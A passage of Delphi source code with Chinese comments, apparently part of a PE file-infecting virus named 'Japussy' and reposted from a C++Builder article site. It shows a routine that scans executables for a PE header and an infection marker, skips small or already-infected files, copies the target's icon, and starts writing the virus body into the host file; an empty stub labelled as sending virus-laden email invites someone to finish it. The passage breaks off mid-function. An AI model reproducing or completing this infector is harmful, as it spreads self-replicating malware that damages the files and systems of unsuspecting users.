finally
        dStream.Free;
      end;
    finally
      sStream.Free;
    end;
  except
  end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
  Si.cb := SizeOf(Si);
  Si.lpReserved := nil;
  Si.lpDesktop := nil;
  Si.lpTitle := nil;
  Si.dwFlags := STARTF_USESHOWWINDOW;
  Si.wShowWindow := State;
  Si.cbReserved2 := 0;
  Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
  //哪位仁兄愿意完成之？
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
  HdrStream, SrcStream: TFileStream;
  IcoStream, DstStream: TMemoryStream;
  iID: LongInt;
  aIcon: TIcon;
  Infected, IsPE: Boolean;
  i: Integer;
  Buf: array[0..1] of Char;
begin
  try //出错则文件正在被使用，退出
    if CompareText(FileName, ''JAPUSSY.EXE'') = 0 then //是自己则不感染
      Exit;
    Infected := False;
    IsPE    := False;
    SrcStream := TFileStream.Create(FileName, fmOpenRead);
    try
      for i := 0 to $108 do //检查PE文件头
      begin
        SrcStream.Seek(i, soFromBeginning);
        SrcStream.Read(Buf, 2);
        if (Buf[0] = #80) and (Buf = #69) then //PE标记
        begin
          IsPE := True; //是PE文件
          Break;
        end;
      end;
// 本文转自 C++Builder 研究 - http://www.ccrun.com/article.asp?i=1009&d=72ladj
      SrcStream.Seek(-4, soFromEnd); //检查感染标记
      SrcStream.Read(iID, 4);
      if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
        Infected := True;
    finally
      SrcStream.Free;
    end;
    if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
      Exit;
    IcoStream := TMemoryStream.Create;
    DstStream := TMemoryStream.Create;
    try
      aIcon := TIcon.Create;
      try
        //得到被感染文件的主图标(744字节)，存入流
        aIcon.ReleaseHandle;
        aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
        aIcon.SaveToStream(IcoStream);
      finally
        aIcon.Free;
      end;
      SrcStream := TFileStream.Create(FileName, fmOpenRead);
      //头文件
      HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
      try
        //写入病毒体主图标之前的数